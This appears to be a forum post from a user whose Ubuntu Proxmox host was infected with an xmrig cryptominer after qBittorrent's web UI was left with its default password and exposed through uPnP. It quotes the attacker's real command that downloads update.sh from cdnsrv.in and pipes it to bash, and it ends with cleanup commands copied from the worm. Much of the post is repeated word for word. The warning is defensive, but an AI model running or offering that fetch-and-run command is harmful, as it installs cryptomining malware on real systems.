Security Risk - Infected by a mining worm via qbittorrent and weak password
Posted: Wed Aug 23, 2023 6:35 am
Hello,
I have an ubuntu proxmox instance and i installed the web version of qbittorrent.
So yesterday I saw my CPU maxing out, cooming to find out that a proccess called xmrig is eating my cpu up.
So I got infected by a mining worm
I found out the infection vector
I left the default password (1st mistake)
The main issue is that qbittorrent exposes the port 8080 to the interntet automaticaly via uPnP.
And an attacker put this in the qbittorrent settings (Run external program on torrent completition)
bash -c "(curl -s -L http://cdnsrv.in/update.sh || wget -O - http://cdnsrv.in/update.sh) | bash"
So yeaaahh..... Please dont expose the 8080 port to the internet and disable uPnP. This feauture should be opt in not default.
to remove the worm run ( I copied this directly from the worm script)
I have an ubuntu proxmox instance and i installed the web version of qbittorrent.
So yesterday I saw my CPU maxing out, cooming to find out that a proccess called xmrig is eating my cpu up.
So I got infected by a mining worm
I found out the infection vector
I left the default password (1st mistake)
The main issue is that qbittorrent exposes the port 8080 to the interntet automaticaly via uPnP.
And an attacker put this in the qbittorrent settings (Run external program on torrent completition)
bash -c "(curl -s -L http://cdnsrv.in/update.sh || wget -O - http://cdnsrv.in/update.sh) | bash"
So yeaaahh..... Please dont expose the 8080 port to the internet and disable uPnP. This feauture should be opt in not default.
to remove the worm run ( I copied this directly from the worm script)
Code: Select all
sudo systemctl stop c3pool_miner.service 2>/dev/null
sudo systemctl disable c3pool_miner.service 2>/dev/null
sudo systemctl disable xmrig.service 2>/dev/null
sudo killall xmrig 2>/dev/null
sudo pkill xmrig 2>/dev/null
kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null
sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null
killall -9 xmrig 2>/dev/null
killall xmrig 2>/dev/null
pkill xmrig 2>/dev/null
kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null